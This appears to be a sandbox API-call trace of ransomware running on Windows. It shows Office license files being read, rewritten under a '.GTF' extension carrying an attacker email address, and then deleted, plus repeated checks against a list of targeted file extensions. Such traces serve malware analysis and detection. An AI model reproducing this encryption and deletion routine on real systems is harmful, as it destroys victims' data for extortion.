	[0179.367] ReadFile (in: hFile=0x428, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.367] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x120, lpOverlapped=0x0) returned 1
	[0179.367] SetEndOfFile (hFile=0x45c) returned 1
	[0179.367] CloseHandle (hObject=0x45c) returned 1
	[0179.368] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.368] SetEndOfFile (hFile=0x428) returned 1
	[0179.370] CloseHandle (hObject=0x428) returned 1
	[0179.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 1
	[0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.372] lstrlenW (lpString=".doc") returned 4
	[0179.372] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString=".docx") returned 5
	[0179.372] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.372] lstrlenW (lpString=".pdf") returned 4
	[0179.372] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString=".xls") returned 4
	[0179.372] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString=".xlsx") returned 5
	[0179.372] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.372] lstrlenW (lpString=".ppt") returned 4
	[0179.372] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.372] lstrlenW (lpString=".zip") returned 4
	[0179.372] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString=".rar") returned 4
	[0179.372] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString=".bz2") returned 4
	[0179.372] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString=".7z") returned 3
	[0179.372] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.372] lstrlenW (lpString=".dbf") returned 4
	[0179.372] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.372] lstrlenW (lpString=".1cd") returned 4
	[0179.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.372] lstrlenW (lpString=".jpg") returned 4
	[0179.372] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.372] lstrlenW (lpString=".doc") returned 4
	[0179.372] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.372] lstrlenW (lpString=".docx") returned 5
	[0179.373] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.373] lstrlenW (lpString=".pdf") returned 4
	[0179.373] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.373] lstrlenW (lpString=".xls") returned 4
	[0179.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.373] lstrlenW (lpString=".xlsx") returned 5
	[0179.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.373] lstrlenW (lpString=".ppt") returned 4
	[0179.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.373] lstrlenW (lpString=".zip") returned 4
	[0179.373] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.373] lstrlenW (lpString=".rar") returned 4
	[0179.373] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.373] lstrlenW (lpString=".bz2") returned 4
	[0179.373] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.373] lstrlenW (lpString=".7z") returned 3
	[0179.373] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.373] lstrlenW (lpString=".dbf") returned 4
	[0179.373] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.373] lstrlenW (lpString=".1cd") returned 4
	[0179.373] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0179.373] lstrlenW (lpString=".jpg") returned 4
	[0179.373] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.373] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.373] lstrlenW (lpString="O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 41
	[0179.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.374] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11651) returned 1
	[0179.374] CloseHandle (hObject=0x428) returned 1
	[0179.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0179.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.375] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.375] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.375] GetLastError () returned 0x0
	[0179.375] ReadFile (in: hFile=0x428, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0179.603] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0179.604] ReadFile (in: hFile=0x428, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.604] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x126, lpOverlapped=0x0) returned 1
	[0179.605] SetEndOfFile (hFile=0x45c) returned 1
	[0179.605] CloseHandle (hObject=0x45c) returned 1
	[0179.605] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.605] SetEndOfFile (hFile=0x428) returned 1
	[0179.607] CloseHandle (hObject=0x428) returned 1
	[0179.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 1
	[0179.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.609] lstrlenW (lpString=".doc") returned 4
	[0179.609] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString=".docx") returned 5
	[0179.609] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.609] lstrlenW (lpString=".pdf") returned 4
	[0179.609] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString=".xls") returned 4
	[0179.609] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString=".xlsx") returned 5
	[0179.609] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.609] lstrlenW (lpString=".ppt") returned 4
	[0179.609] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.609] lstrlenW (lpString=".zip") returned 4
	[0179.609] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString=".rar") returned 4
	[0179.609] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString=".bz2") returned 4
	[0179.609] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString=".7z") returned 3
	[0179.609] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.609] lstrlenW (lpString=".dbf") returned 4
	[0179.609] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.609] lstrlenW (lpString=".1cd") returned 4
	[0179.609] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.609] lstrlenW (lpString=".jpg") returned 4
	[0179.609] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.610] lstrlenW (lpString=".doc") returned 4
	[0179.610] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString=".docx") returned 5
	[0179.610] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.610] lstrlenW (lpString=".pdf") returned 4
	[0179.610] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString=".xls") returned 4
	[0179.610] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString=".xlsx") returned 5
	[0179.610] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.610] lstrlenW (lpString=".ppt") returned 4
	[0179.610] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.610] lstrlenW (lpString=".zip") returned 4
	[0179.610] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString=".rar") returned 4
	[0179.610] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString=".bz2") returned 4
	[0179.610] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString=".7z") returned 3
	[0179.610] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.610] lstrlenW (lpString=".dbf") returned 4
	[0179.610] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.610] lstrlenW (lpString=".1cd") returned 4
	[0179.610] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0179.610] lstrlenW (lpString=".jpg") returned 4
	[0179.610] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.610] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.610] lstrlenW (lpString="O365HomePremR_SubTest5-ppd.xrm-ms") returned 33
	[0179.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.611] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23134) returned 1
	[0179.611] CloseHandle (hObject=0x428) returned 1
	[0179.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 0x220
	[0179.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.612] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.612] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.613] GetLastError () returned 0x0
	[0179.613] ReadFile (in: hFile=0x428, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0179.672] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0179.674] ReadFile (in: hFile=0x428, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.674] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0179.674] SetEndOfFile (hFile=0x45c) returned 1
	[0179.674] CloseHandle (hObject=0x45c) returned 1
	[0179.674] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.674] SetEndOfFile (hFile=0x428) returned 1
	[0179.677] CloseHandle (hObject=0x428) returned 1
	[0179.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 1
	[0179.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.678] lstrlenW (lpString=".doc") returned 4
	[0179.678] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.678] lstrlenW (lpString=".docx") returned 5
	[0179.678] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.678] lstrlenW (lpString=".pdf") returned 4
	[0179.678] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.678] lstrlenW (lpString=".xls") returned 4
	[0179.678] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.678] lstrlenW (lpString=".xlsx") returned 5
	[0179.678] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.678] lstrlenW (lpString=".ppt") returned 4
	[0179.678] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.678] lstrlenW (lpString=".zip") returned 4
	[0179.678] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.678] lstrlenW (lpString=".rar") returned 4
	[0179.678] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.678] lstrlenW (lpString=".bz2") returned 4
	[0179.678] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString=".7z") returned 3
	[0179.679] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.679] lstrlenW (lpString=".dbf") returned 4
	[0179.679] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.679] lstrlenW (lpString=".1cd") returned 4
	[0179.679] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.679] lstrlenW (lpString=".jpg") returned 4
	[0179.679] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.679] lstrlenW (lpString=".doc") returned 4
	[0179.679] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString=".docx") returned 5
	[0179.679] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.679] lstrlenW (lpString=".pdf") returned 4
	[0179.679] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString=".xls") returned 4
	[0179.679] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString=".xlsx") returned 5
	[0179.679] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.679] lstrlenW (lpString=".ppt") returned 4
	[0179.679] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.679] lstrlenW (lpString=".zip") returned 4
	[0179.679] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString=".rar") returned 4
	[0179.679] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString=".bz2") returned 4
	[0179.679] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.679] lstrlenW (lpString=".7z") returned 3
	[0179.679] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.680] lstrlenW (lpString=".dbf") returned 4
	[0179.680] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.680] lstrlenW (lpString=".1cd") returned 4
	[0179.680] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0179.680] lstrlenW (lpString=".jpg") returned 4
	[0179.680] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.680] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.680] lstrlenW (lpString="O365HomePremR_SubTrial1-pl.xrm-ms") returned 33
	[0179.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.680] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11183) returned 1
	[0179.680] CloseHandle (hObject=0x428) returned 1
	[0179.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 0x220
	[0179.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
